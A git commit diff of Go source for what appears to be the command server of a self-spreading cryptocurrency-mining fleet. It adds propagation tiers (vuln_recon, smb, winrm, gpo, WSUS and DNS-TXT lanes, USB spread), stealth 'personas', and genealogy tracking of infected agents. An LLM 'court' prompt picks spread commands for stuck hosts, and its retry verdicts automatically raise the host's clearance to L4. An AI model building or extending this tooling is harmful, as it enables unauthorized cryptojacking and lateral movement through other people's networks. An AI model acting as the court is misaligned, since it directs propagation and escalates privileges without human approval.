Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage

This commit is contained in:
AetherForge
2026-06-07 05:00:22 -07:00
parent 7b2d41cda8
commit 82d74abfcf
38 changed files with 486 additions and 120 deletions

View File

@@ -14,6 +14,8 @@ const (
CmdRestartMining = "restart_mining"
CmdReorderTiers = "reorder_tiers"
CmdSpreadNow = "spread_now"
CmdSpreadRetryLane = "spread_retry_lane"
CmdSkipTier = "skip_tier"
CmdStageFetch = "stage_fetch"
CmdSetAgentVersion = "set_agent_version"
CmdNoop = "noop"
@@ -26,6 +28,8 @@ var knownCommands = map[string]bool{
CmdRestartMining: true,
CmdReorderTiers: true,
CmdSpreadNow: true,
CmdSpreadRetryLane: true,
CmdSkipTier: true,
CmdStageFetch: true,
CmdSetAgentVersion: true,
CmdNoop: true,

View File

@@ -64,7 +64,10 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
This is a single-turn tribunal with no memory. Three roles speak once:
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
Never target third-party systems.`))
system.WriteString("\n\n## PROSECUTOR\n")
system.WriteString(prosecutor)

View File

@@ -30,6 +30,16 @@ func stuckSpreadAttempts() []TierAttempt {
return attempts
}
func TestBuildCourtPromptListsRetryCommands(t *testing.T) {
bundle := BuildCourtPrompt(AgentSnapshot{Stuck: true}, "", nil, PersonaBalanced)
if !strings.Contains(bundle.SystemPrompt, "spread_retry_lane") {
t.Fatalf("missing spread_retry_lane in court prompt: %s", bundle.SystemPrompt)
}
if !strings.Contains(bundle.SystemPrompt, "skip_tier") {
t.Fatalf("missing skip_tier in court prompt")
}
}
func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
snap := AgentSnapshot{
AgentID: "agent-stuck",

View File

@@ -1,6 +1,11 @@
package ai
import "strings"
import (
"strings"
"time"
"crypto-miner-server/internal/strategy"
)
const (
PersonaAggressive = "aggressive"
@@ -83,3 +88,49 @@ func CourtJudgeOverlay(mode string) string {
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
}
}
// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona.
// Used as propagation temperament when Fleet AI Control replaces adaptive strategy.
func PersonaSpreadTierOrder(mode string) []string {
switch NormalizePersona(mode) {
case PersonaAggressive:
return []string{
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
}
case PersonaSilent:
return []string{
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case PersonaPassive:
return []string{
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case PersonaPersuasive:
return []string{
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
}
default:
return DefaultSpreadTiers()
}
}
// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode.
func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy {
persona := NormalizePersona(mode)
order := PersonaSpreadTierOrder(persona)
reason := strategy.StrategyReason{
Fact: "Calibrate ai_persona=" + persona,
Inference: "Fleet AI Control shapes spread propagation personality",
Action: "Prefer spread tier order: " + strings.Join(order, " → "),
}
return strategy.AdaptiveStrategy{
TierOrder: order,
Reasoning: []strategy.StrategyReason{reason},
Confidence: 0.85,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
}
}

View File

@@ -51,6 +51,38 @@ func TestNormalizePersona(t *testing.T) {
}
}
func TestPersonaSpreadTierOrderDistinct(t *testing.T) {
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
seen := make(map[string]string, len(modes))
for _, mode := range modes {
order := PersonaSpreadTierOrder(mode)
if len(order) != len(defaultSpreadTiers) {
t.Fatalf("persona %q tier count = %d want %d", mode, len(order), len(defaultSpreadTiers))
}
key := strings.Join(order, ",")
if prev, ok := seen[key]; ok && mode != PersonaBalanced {
t.Fatalf("personas %q and %q share spread order", prev, mode)
}
seen[key] = mode
}
if PersonaSpreadTierOrder(PersonaPersuasive)[1] != "dns_txt" {
t.Fatalf("persuasive should front dns_txt, got %v", PersonaSpreadTierOrder(PersonaPersuasive))
}
if PersonaSpreadTierOrder(PersonaAggressive)[2] != "smb" {
t.Fatalf("aggressive should front smb early, got %v", PersonaSpreadTierOrder(PersonaAggressive))
}
}
func TestPersonaSpreadTemperamentShape(t *testing.T) {
temp := PersonaSpreadTemperament(PersonaSilent)
if len(temp.TierOrder) == 0 || len(temp.Reasoning) == 0 || temp.Confidence <= 0 {
t.Fatalf("invalid spread temperament: %+v", temp)
}
if !strings.Contains(temp.Reasoning[0].Fact, PersonaSilent) {
t.Fatalf("reasoning should cite persona: %+v", temp.Reasoning[0])
}
}
func TestCourtJudgeOverlayDistinct(t *testing.T) {
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
prev := ""

View File

@@ -202,6 +202,10 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
}
cmds := ParseCommands(response)
if useCourt {
cmds = ExpandCourtCommands(cmds)
s.ensureCourtRetryClearance(agentID, cmds)
}
results := make([]string, 0, len(cmds))
for _, cmd := range cmds {
if cmd.Type == CmdNoop {
@@ -228,6 +232,18 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
const stuckHostFailedTierThreshold = 14
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
return
}
if s.elevator.Level(agentID) >= CourtRetryClearanceLevel {
return
}
if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil {
log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err)
}
}
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
if !cfg.AutoElevateClearance || s.elevator == nil {
return

View File

@@ -162,3 +162,47 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
t.Fatalf("unexpected elevation: %+v", req)
}
}
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
return `Verdict: retry dns_txt.
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil
}
elevator := &mockElevator{}
exec := &mockExec{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
&mockSnap{
ids: []string{"court-1"},
snap: AgentSnapshot{
AgentID: "court-1", Name: "host", Stuck: true,
LOTLAttempts: stuckSpreadAttempts(),
},
},
exec,
&mockStore{},
&mockCourt{},
elevator,
)
sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
elevator.mu.Lock()
defer elevator.mu.Unlock()
found := false
for _, req := range elevator.requests {
if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" {
found = true
break
}
}
if !found {
t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests)
}
if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch {
t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls)
}
}

View File

@@ -45,6 +45,7 @@ func (d *Database) scanAgent(row interface {
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
&a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain,
)
if err != nil {
return nil, err
@@ -62,7 +63,8 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active,
parent_agent_id, spread_generation, spread_strain`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -138,6 +138,9 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
@@ -263,8 +266,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, parent_agent_id, spread_generation, spread_strain)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END,
wallet = excluded.wallet,
@@ -282,12 +285,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread,
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END,
parent_agent_id = CASE WHEN excluded.parent_agent_id != '' THEN excluded.parent_agent_id ELSE parent_agent_id END,
spread_generation = CASE WHEN excluded.spread_generation > 0 OR excluded.parent_agent_id != '' THEN excluded.spread_generation ELSE spread_generation END,
spread_strain = CASE WHEN excluded.spread_strain != '' THEN excluded.spread_strain ELSE spread_strain END`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign, a.ParentAgentID, a.SpreadGeneration, a.SpreadStrain)
return err
}

View File

@@ -122,9 +122,20 @@ type Agent struct {
// Last successful discover_and_join supply-chain lane.
JoinLane string `json:"join_lane,omitempty"`
// Spread genealogy watermark — informational telemetry from forge/auth/stats.
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
// Session security clearance (L0L4); set live by WSHub, not persisted.
ClearanceLevel int `json:"clearance_level,omitempty"`
// Fleet role split telemetry (stats WS, not persisted).
FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
EmberwakeHeat float64 `json:"emberwake_heat,omitempty"`
// Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only).
InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"`

View File

@@ -20,6 +20,7 @@ type FleetPhenotype struct {
}
// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
// Auth tier-plan precedence (highest wins): inherited phenotype > genetic breed > adaptive strategy.
type InheritedPhenotype struct {
SourceAgentName string `json:"source_agent_name"`
Fingerprint string `json:"fingerprint"`
@@ -27,6 +28,8 @@ type InheritedPhenotype struct {
TierOrder []string `json:"tier_order"`
ActiveTier string `json:"active_tier,omitempty"`
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
GeneticBreed bool `json:"genetic_breed,omitempty"`
ParentLanes []string `json:"parent_lanes,omitempty"`
}
// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.